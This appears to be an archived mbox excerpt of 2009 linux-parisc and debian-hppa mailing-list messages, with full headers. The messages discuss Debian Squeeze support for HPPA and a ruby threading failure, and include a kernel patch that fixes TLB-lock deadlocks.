NNTP-Posting-Date: Tue, 16 Jun 2009 19:13:38 +0000 (UTC)
Cc: Lucas Nussbaum <lucas@lucas-nussbaum.net>, Helge Deller <deller@gmx.de>,
	Grant Grundler <grundler@parisc-linux.org>,
	HPPA porters <debian-hppa@lists.debian.org>,
	Debian Release <debian-release@lists.debian.org>,
	admin@debian-ports.org, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Tue Jun 16 21:13:33 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGe68-00018d-By
	for debian-hppa@m.gmane.org; Tue, 16 Jun 2009 21:13:32 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id F2A8F13A57FB; Tue, 16 Jun 2009 19:13:31 +0000 (UTC)
Old-Return-Path: <aurelien@aurel32.net>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-12.3 required=4.0 tests=ALL_TRUSTED,FOURLA,
	LDOSUBSCRIBER,LDO_WHITELIST,MURPHY_DRUGS_REL8 autolearn=failed version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id C024A13A51F1
	for <lists-debian-hppa@liszt.debian.org>; Tue, 16 Jun 2009 19:13:27 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.881 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5,
	MURPHY_DRUGS_REL8=0.02, NO_RELAYS=-0.001] autolearn=ham
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id F4v4Ll-Ec0ov for <lists-debian-hppa@liszt.debian.org>;
	Tue, 16 Jun 2009 19:13:23 +0000 (UTC)
Original-Received: from hall.aurel32.net (hall.aurel32.net [IPv6:2002:58bf:52ae::1])
	(using TLSv1 with cipher AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by liszt.debian.org (Postfix) with ESMTPS id 5270D13A42AD;
	Tue, 16 Jun 2009 19:13:23 +0000 (UTC)
Original-Received: from aurel32 by hall.aurel32.net with local (Exim 4.69)
	(envelope-from <aurelien@aurel32.net>)
	id 1MGe5t-00011t-WC; Tue, 16 Jun 2009 21:13:18 +0200
Content-Disposition: inline
In-Reply-To: <4A37EDB5.2020400@gmx.de>
X-Mailer: Mutt 1.5.18 (2008-05-17)
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: Aurelien Jarno <aurelien@aurel32.net>
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <IBDO7OydSyL.A.HDD.b7-NKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6752
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue, 16 Jun 2009 19:13:31 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5754 gmane.linux.debian.devel.release:30794 gmane.linux.ports.parisc:1759
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1759>

On Tue, Jun 16, 2009 at 09:08:37PM +0200, Helge Deller wrote:
> On 06/16/2009 08:25 AM, Lucas Nussbaum wrote:
>> On 15/06/09 at 11:31 -0600, Grant Grundler wrote:
>> PS: if you want an HPPA-specific issue to play with,
>> http://experimental.debian.net/fetch.php?&pkg=ruby1.9&ver=1.9.0.1-5&arch=hppa&stamp=1213563978&file=log&as=raw
>> might be a good candidate.
>
> In reality it's not (any longer) a hppa specific bug. It's a bug in ruby.
> Ruby just relies on NPTL specific behaviour of threads and as such plays mad on LinuxThreads, which we still have active on hppa.
> The good thing is, that the NPTL switch-over was started by Carlos, so I expect that this should be fixed when NPTL hits unstable...
>

BTW, Carlos, could you please send me the latest version of your
patches, so that we can actually do the switch with version 2.10?

-- 
Aurelien Jarno	                        GPG: 1024D/F1BCDB73
aurelien@aurel32.net                 http://www.aurel32.net



From - Thu Nov 08 21:04:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Tue, 16 Jun 2009 14:50:27 -0600
Lines: 62
Approved: news@gmane.org
Message-ID: <20090616205027.GB25380@lackof.org>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org> <20090615173102.GC2690@lackof.org> <20090616062531.GA17957@xanadu.blop.info>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245185443 23153 80.91.229.12 (16 Jun 2009 20:50:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 16 Jun 2009 20:50:43 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	HPPA porters <debian-hppa@lists.debian.org>,
	Debian Release <debian-release@lists.debian.org>,
	admin@debian-ports.org, linux-parisc@vger.kernel.org
To: Lucas Nussbaum <lucas@lucas-nussbaum.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 16 22:50:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGfc8-0001Qo-5D
	for glpp-linux-parisc@gmane.org; Tue, 16 Jun 2009 22:50:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755229AbZFPUu3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Jun 2009 16:50:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757654AbZFPUu2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 16 Jun 2009 16:50:28 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:42283 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755229AbZFPUu0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Jun 2009 16:50:26 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 7271733E0060;
	Tue, 16 Jun 2009 14:50:28 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id y4Q0xYIRIGxi; Tue, 16 Jun 2009 14:50:27 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id E094233E0064; Tue, 16 Jun 2009 14:50:27 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090616062531.GA17957@xanadu.blop.info>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1760 gmane.linux.debian.ports.hppa:5755 gmane.linux.debian.devel.release:30799
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1760>

On Tue, Jun 16, 2009 at 08:25:31AM +0200, Lucas Nussbaum wrote:
...
> > BTW, that firewall was reviewed and approved by Lamont (a pretty well
> > known DD and buildd maintainer).
> > 
> > Thibaut Varene (who is a DD) has offered to host HPPA buildd machines
> > as well but hasn't heard any response to that offer either.
> 
> (Stepping in ; I had some HPPA-related issues in one of my packages -
> ruby1.9 - so this is based on my experience with that problems)
> 
> I think that your email summarizes the problem quite well: there are
> several people willing to offer buildd hosting, help after someone else
> has investigated the issues, etc.
> What debian-hppa currently lacks is someone that is willing to
> proactively detect issues (looking at packages that failed to build, for
> example), investigate them, and fix them. This can be done cooperating
> with the package maintainers, but the HPPA side should take the lead.

Yup - this is definitely true. debian-hppa needed alot of prodding to
look at buildd failures.

> The fact that HPPA people are asking the release team "what are the
> problems you are talking about?" clearly shows that this is broken: the
> HPPA people should be knowing more than the release team about HPPA
> issues.

Generalizing one person's response (mine) to represent the group is wrong.

However I agree the release team has no one who cares about HPPA involved.
And yes, it's up to the release team to track bugs and determine
the viability of a release based on outstanding bugs.

As I said before, I'm ok with NOT having a "stable" HPPA release.
If someone disagrees, then they need to participate in the release
team and help debian-hppa focus on critical buildd failures. ie generate
the nag mail listing the HPPA-specific issues that need to be resolved.


> PS: if you want an HPPA-specific issue to play with,
> http://experimental.debian.net/fetch.php?&pkg=ruby1.9&ver=1.9.0.1-5&arch=hppa&stamp=1213563978&file=log&as=raw
> might be a good candidate.

This did take a long time to resolve. Helge described the root cause
(ruby did not support LinuxThreads implementation correctly) and
resolution plan (migrate HPPA to NTPL).

No phase of this problem sounds trivial to debug or resolve.
Based on this, I can argue the HPPA response is reasonable even
if is unsatisfactory and frustrating to you (as package maintainer).

Do you have another HPPA specific issue?
Or maybe just remind the list how to find those issues?
(Teach a man to fish...)

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix parisc runtime hangs wrt pa_tlb_lock
Date: Tue, 16 Jun 2009 22:51:48 +0200
Lines: 207
Approved: news@gmane.org
Message-ID: <4A3805E4.4080305@gmx.de>
References: <20090528015037.3417E4FEA@hiauly1.hia.nrc.ca> <4A2ADEC9.2090403@gmx.de> <4A35741F.6000107@gmx.de> <20090614232046.GA14028@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245185524 23409 80.91.229.12 (16 Jun 2009 20:52:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 16 Jun 2009 20:52:04 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 16 22:52:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGfdP-000231-3r
	for glpp-linux-parisc@gmane.org; Tue, 16 Jun 2009 22:51:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757882AbZFPUvy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Jun 2009 16:51:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757654AbZFPUvy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 16 Jun 2009 16:51:54 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:48072 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1756697AbZFPUvx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Jun 2009 16:51:53 -0400
Original-Received: (qmail invoked by alias); 16 Jun 2009 20:51:53 -0000
Original-Received: from mnhm-590e01ce.pool.einsundeins.de (EHLO halden.box) [89.14.1.206]
  by mail.gmx.net (mp041) with SMTP; 16 Jun 2009 22:51:53 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+8W99tnHG8pySLjWgGWrDZlgsmAx6KFv/CFoYLpg
	CcVFGbgB/68ykU
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090513 Fedora/3.0-2.3.beta2.fc11 Thunderbird/3.0b2
In-Reply-To: <20090614232046.GA14028@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.44
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1761
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1761>

On 06/15/2009 01:20 AM, John David Anglin wrote:
> I am convinced that interrupts need to be disabled on SMP kernels to
> prevent deadlock.  On UP kernels, I am not convinced that anything bad
> happens if we do a tlb purge while handling an interrupt since we don't
> have to worry about preventing bus conflicts.  The UP code can't
> deadlock.  I'm thinking that we can stay with disabling preemption.

Dave is right and it took me long to understand his point...
I continued testing and we can simply just disable preemption for UP
kernels and use an irq-safe spinlock for SMP kernels.

Below is the latest and greatest patch which fixes this bug.
Run-tested onUP kernels and compile-tested on SMP kernels.

Kyle, it would be nice if you could apply it as soon as possible.
The bug is existing since a long time, so it might make sense to backport
it to older kernels as well...

-----------

Patch: [parisc] fix system hangs due to unsafe locking of the TLB-protection spinlock
Importance: high, fixes complete kernel stalls

The TLB flushing functions on hppa, which causes PxTLB broadcasts on the system
bus, needs to be protected by irq-safe spinlocks to avoid irq handlers to deadlock
the kernel. The deadlocks only happened during I/O intensive loads and triggered
pretty seldom, which is why this bug went so long unnoticed.

Fix this bug by using spin_lock_irqsafe() for SMP kernels and preempt_disable()
for UP kernels.

Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/arch/parisc/include/asm/tlbflush.h b/arch/parisc/include/asm/tlbflush.h
index 1f6fd4f..3d82fc8 100644
--- a/arch/parisc/include/asm/tlbflush.h
+++ b/arch/parisc/include/asm/tlbflush.h
@@ -10,16 +10,21 @@
  
  /* This is for the serialisation of PxTLB broadcasts.  At least on the
   * N class systems, only one PxTLB inter processor broadcast can be
- * active at any one time on the Merced bus.  This tlb purge
- * synchronisation is fairly lightweight and harmless so we activate
- * it on all SMP systems not just the N class.  We also need to have
- * preemption disabled on uniprocessor machines, and spin_lock does that
- * nicely.
+ * active at any one time on the Merced bus. To be on the safe side, we
+ * unconditionally protect those broadcasts for all SMP kernels with a
+ * spinlock.
+ * On uniprocessor machines we save this overhead by just disabling
+ * preemption.
   */
-extern spinlock_t pa_tlb_lock;
  
-#define purge_tlb_start(x) spin_lock(&pa_tlb_lock)
-#define purge_tlb_end(x) spin_unlock(&pa_tlb_lock)
+#ifdef CONFIG_SMP
+extern spinlock_t pa_tlb_lock;
+# define purge_tlb_start(flags)	spin_lock_irqsave(&pa_tlb_lock, flags)
+# define purge_tlb_end(flags)	spin_unlock_irqrestore(&pa_tlb_lock, flags)
+#else
+# define purge_tlb_start(flags)	preempt_disable()
+# define purge_tlb_end(flags)	preempt_enable()
+#endif
  
  extern void flush_tlb_all(void);
  extern void flush_tlb_all_local(void *);
@@ -64,13 +69,14 @@ static inline void flush_tlb_page(struct vm_area_struct *vma,
  	unsigned long addr)
  {
  	/* For one page, it's not worth testing the split_tlb variable */
+	unsigned long flags __maybe_unused;
  
  	mb();
  	mtsp(vma->vm_mm->context,1);
-	purge_tlb_start();
+	purge_tlb_start(flags);
  	pdtlb(addr);
  	pitlb(addr);
-	purge_tlb_end();
+	purge_tlb_end(flags);
  }
  
  void __flush_tlb_range(unsigned long sid,
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 837530e..9c85e4f 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -35,12 +35,14 @@ int icache_stride __read_mostly;
  EXPORT_SYMBOL(dcache_stride);
  
  
+#ifdef CONFIG_SMP
  /* On some machines (e.g. ones with the Merced bus), there can be
   * only a single PxTLB broadcast at a time; this must be guaranteed
- * by software.  We put a spinlock around all TLB flushes  to
- * ensure this.
+ * by software.  We put a spinlock around all TLB flushes on SMP
+ * kernels to ensure this.
   */
  DEFINE_SPINLOCK(pa_tlb_lock);
+#endif
  
  struct pdc_cache_info cache_info __read_mostly;
  #ifndef CONFIG_PA20
@@ -400,10 +402,11 @@ void clear_user_page_asm(void *page, unsigned long vaddr)
  {
  	/* This function is implemented in assembly in pacache.S */
  	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
+	unsigned long flags __maybe_unused;
  
-	purge_tlb_start();
+	purge_tlb_start(flags);
  	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end();
+	purge_tlb_end(flags);
  }
  
  #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
@@ -444,20 +447,22 @@ extern void clear_user_page_asm(void *page, unsigned long vaddr);
  
  void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
  {
+	unsigned long flags __maybe_unused;
  	purge_kernel_dcache_page((unsigned long)page);
-	purge_tlb_start();
+	purge_tlb_start(flags);
  	pdtlb_kernel(page);
-	purge_tlb_end();
+	purge_tlb_end(flags);
  	clear_user_page_asm(page, vaddr);
  }
  EXPORT_SYMBOL(clear_user_page);
  
  void flush_kernel_dcache_page_addr(void *addr)
  {
+	unsigned long flags __maybe_unused;
  	flush_kernel_dcache_page_asm(addr);
-	purge_tlb_start();
+	purge_tlb_start(flags);
  	pdtlb_kernel(addr);
-	purge_tlb_end();
+	purge_tlb_end(flags);
  }
  EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
  
@@ -490,8 +495,9 @@ void __flush_tlb_range(unsigned long sid, unsigned long start,
  	if (npages >= 512)  /* 2MB of space: arbitrary, should be tuned */
  		flush_tlb_all();
  	else {
+		unsigned long flags __maybe_unused;
  		mtsp(sid, 1);
-		purge_tlb_start();
+		purge_tlb_start(flags);
  		if (split_tlb) {
  			while (npages--) {
  				pdtlb(start);
@@ -504,7 +510,7 @@ void __flush_tlb_range(unsigned long sid, unsigned long start,
  				start += PAGE_SIZE;
  			}
  		}
-		purge_tlb_end();
+		purge_tlb_end(flags);
  	}
  }
  
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 7d927ea..dbe6c8e 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -90,12 +90,13 @@ static inline int map_pte_uncached(pte_t * pte,
  	if (end > PMD_SIZE)
  		end = PMD_SIZE;
  	do {
+		unsigned long flags __maybe_unused;
  		if (!pte_none(*pte))
  			printk(KERN_ERR "map_pte_uncached: page already exists\n");
  		set_pte(pte, __mk_pte(*paddr_ptr, PAGE_KERNEL_UNC));
-		purge_tlb_start();
+		purge_tlb_start(flags);
  		pdtlb_kernel(orig_vaddr);
-		purge_tlb_end();
+		purge_tlb_end(flags);
  		vaddr += PAGE_SIZE;
  		orig_vaddr += PAGE_SIZE;
  		(*paddr_ptr) += PAGE_SIZE;
@@ -168,11 +169,12 @@ static inline void unmap_uncached_pte(pmd_t * pmd, unsigned long vaddr,
  	if (end > PMD_SIZE)
  		end = PMD_SIZE;
  	do {
+		unsigned long flags __maybe_unused;
  		pte_t page = *pte;
  		pte_clear(&init_mm, vaddr, pte);
-		purge_tlb_start();
+		purge_tlb_start(flags);
  		pdtlb_kernel(orig_vaddr);
-		purge_tlb_end();
+		purge_tlb_end(flags);
  		vaddr += PAGE_SIZE;
  		orig_vaddr += PAGE_SIZE;
  		pte++;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Tue, 16 Jun 2009 15:35:33 -0600
Lines: 69
Approved: news@gmane.org
Message-ID: <20090616213533.GB24783@lackof.org>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org> <20090615173102.GC2690@lackof.org> <20090616062531.GA17957@xanadu.blop.info> <20090616205027.GB25380@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245188170 31862 80.91.229.12 (16 Jun 2009 21:36:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 16 Jun 2009 21:36:10 +0000 (UTC)
Cc: Lucas Nussbaum <lucas@lucas-nussbaum.net>,
	HPPA porters <debian-hppa@lists.debian.org>,
	Debian Release <debian-release@lists.debian.org>,
	admin@debian-ports.org, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 16 23:35:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGgJc-000800-Qn
	for glpp-linux-parisc@gmane.org; Tue, 16 Jun 2009 23:35:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756110AbZFPVfc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Jun 2009 17:35:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757633AbZFPVfb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 16 Jun 2009 17:35:31 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:57700 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757865AbZFPVfa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Jun 2009 17:35:30 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id A822F33E0002;
	Tue, 16 Jun 2009 15:35:33 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id OeoJ3LZCM24z; Tue, 16 Jun 2009 15:35:33 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 1012)
	id 1E85F33E0064; Tue, 16 Jun 2009 15:35:33 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090616205027.GB25380@lackof.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1762 gmane.linux.debian.ports.hppa:5756 gmane.linux.debian.devel.release:30800
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1762>

On Tue, Jun 16, 2009 at 02:50:27PM -0600, Grant Grundler wrote:
> On Tue, Jun 16, 2009 at 08:25:31AM +0200, Lucas Nussbaum wrote:
> ...
> > > BTW, that firewall was reviewed and approved by Lamont (a pretty well
> > > known DD and buildd maintainer).
> > > 
> > > Thibaut Varene (who is a DD) has offered to host HPPA buildd machines
> > > as well but hasn't heard any response to that offer either.
> > 
> > (Stepping in ; I had some HPPA-related issues in one of my packages -
> > ruby1.9 - so this is based on my experience with that problems)
> > 
> > I think that your email summarizes the problem quite well: there are
> > several people willing to offer buildd hosting, help after someone else
> > has investigated the issues, etc.
> > What debian-hppa currently lacks is someone that is willing to
> > proactively detect issues (looking at packages that failed to build, for
> > example), investigate them, and fix them. This can be done cooperating
> > with the package maintainers, but the HPPA side should take the lead.
> 
> Yup - this is definitely true. debian-hppa needed alot of prodding to
> look at buildd failures.
> 
> > The fact that HPPA people are asking the release team "what are the
> > problems you are talking about?" clearly shows that this is broken: the
> > HPPA people should be knowing more than the release team about HPPA
> > issues.
> 
> Generalizing one person's response (mine) to represent the group is wrong.
> 
> However I agree the release team has no one who cares about HPPA involved.
> And yes, it's up to the release team to track bugs and determine
> the viability of a release based on outstanding bugs.
> 
> As I said before, I'm ok with NOT having a "stable" HPPA release.
> If someone disagrees, then they need to participate in the release
> team and help debian-hppa focus on critical buildd failures. ie generate
> the nag mail listing the HPPA-specific issues that need to be resolved.
> 
> 
> > PS: if you want an HPPA-specific issue to play with,
> > http://experimental.debian.net/fetch.php?&pkg=ruby1.9&ver=1.9.0.1-5&arch=hppa&stamp=1213563978&file=log&as=raw
> > might be a good candidate.
> 
> This did take a long time to resolve. Helge described the root cause
> (ruby did not support LinuxThreads implementation correctly) and
> resolution plan (migrate HPPA to NTPL).
> 
> No phase of this problem sounds trivial to debug or resolve.
> Based on this, I can argue the HPPA response is reasonable even
> if is unsatisfactory and frustrating to you (as package maintainer).
> 
> Do you have another HPPA specific issue?
> Or maybe just remind the list how to find those issues?
> (Teach a man to fish...)

Are we still having random segfaults on paer? If so - that's be a good
one to resolve. Not sure if DSA would be willing to grant (heh) you
access to that box, or if we should try running a dummy buildd on
another rp2470.

-- 
dann frazier

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: HPPA and Squeeze
Date: Tue, 16 Jun 2009 22:37:32 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <20090617023733.51ABF4FC4@hiauly1.hia.nrc.ca>
References: <4A2EB3E6.9080302@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245206262 5772 80.91.229.12 (17 Jun 2009 02:37:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 17 Jun 2009 02:37:42 +0000 (UTC)
Cc: nospam@vuorela.dk, maulkin@halon.org.uk,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 17 04:37:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGl1s-0003SD-TV
	for glpp-linux-parisc@gmane.org; Wed, 17 Jun 2009 04:37:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753559AbZFQChc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Jun 2009 22:37:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753617AbZFQChc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 16 Jun 2009 22:37:32 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2531 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753559AbZFQChb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Jun 2009 22:37:31 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 51ABF4FC4; Tue, 16 Jun 2009 22:37:33 -0400 (EDT)
In-Reply-To: <4A2EB3E6.9080302@gmx.de> from "Helge Deller" at Jun 9, 2009 09:11:34 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1763 gmane.linux.debian.ports.hppa:5759
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1763>

> Again, kernel bugs are sometimes hard to find.
> I still think that http://patchwork.kernel.org/patch/28458/ may fix a few.
